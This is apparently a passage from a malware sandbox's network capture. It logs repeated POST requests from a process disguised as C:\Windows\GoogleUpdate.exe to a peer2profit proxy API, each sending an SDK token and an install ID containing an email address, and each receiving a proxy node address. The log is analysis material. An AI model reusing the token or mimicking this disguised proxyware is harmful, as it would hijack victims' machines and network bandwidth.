2022-12-05 05:45:52 UTC	40	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.3	49900	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:52 UTC	40	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:52 UTC	40	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:52 UTC	40	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:52 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7a66eb30907c-FRA
2022-12-05 05:45:52 UTC	41	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	49725	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:23 UTC	4	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:23 UTC	4	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:23 UTC	4	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:23 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a79afaa999030-FRA
2022-12-05 05:45:23 UTC	4	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.3	49902	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:52 UTC	41	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:52 UTC	41	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:52 UTC	41	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:52 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7a68e8b1920b-FRA
2022-12-05 05:45:52 UTC	41	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.3	49906	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:53 UTC	41	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:53 UTC	42	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:53 UTC	42	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:53 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7a6aec319106-FRA
2022-12-05 05:45:53 UTC	42	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.3	49910	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:53 UTC	42	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:53 UTC	42	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:53 UTC	43	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:53 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7a6d1e165c7a-FRA
2022-12-05 05:45:53 UTC	43	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.3	49913	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:53 UTC	43	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:53 UTC	43	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:53 UTC	43	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:53 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7a6f489f9c0c-FRA
2022-12-05 05:45:53 UTC	43	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.3	49916	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:54 UTC	44	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:54 UTC	44	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:54 UTC	44	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:54 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7a72896b8fd6-FRA
2022-12-05 05:45:54 UTC	44	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.3	49919	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:54 UTC	44	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:54 UTC	44	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:54 UTC	45	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:54 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7a756d678fe0-FRA
2022-12-05 05:45:54 UTC	45	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.3	49923	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:55 UTC	45	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:55 UTC	45	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:55 UTC	45	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:55 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7a7898c492bd-FRA
2022-12-05 05:45:55 UTC	46	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.3	49927	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:55 UTC	46	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:55 UTC	46	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:55 UTC	46	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:55 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7a7b4cf89235-FRA
2022-12-05 05:45:55 UTC	46	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.3	49929	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:56 UTC	46	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-12-05 05:45:56 UTC	46	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-12-05 05:45:56 UTC	47	IN	HTTP/1.1 200 OK Date: Mon, 05 Dec 2022 05:45:56 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 774a7a7d8f23909c-FRA
2022-12-05 05:45:56 UTC	47	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.3	49932	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-12-05 05:45:56 UTC	47	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
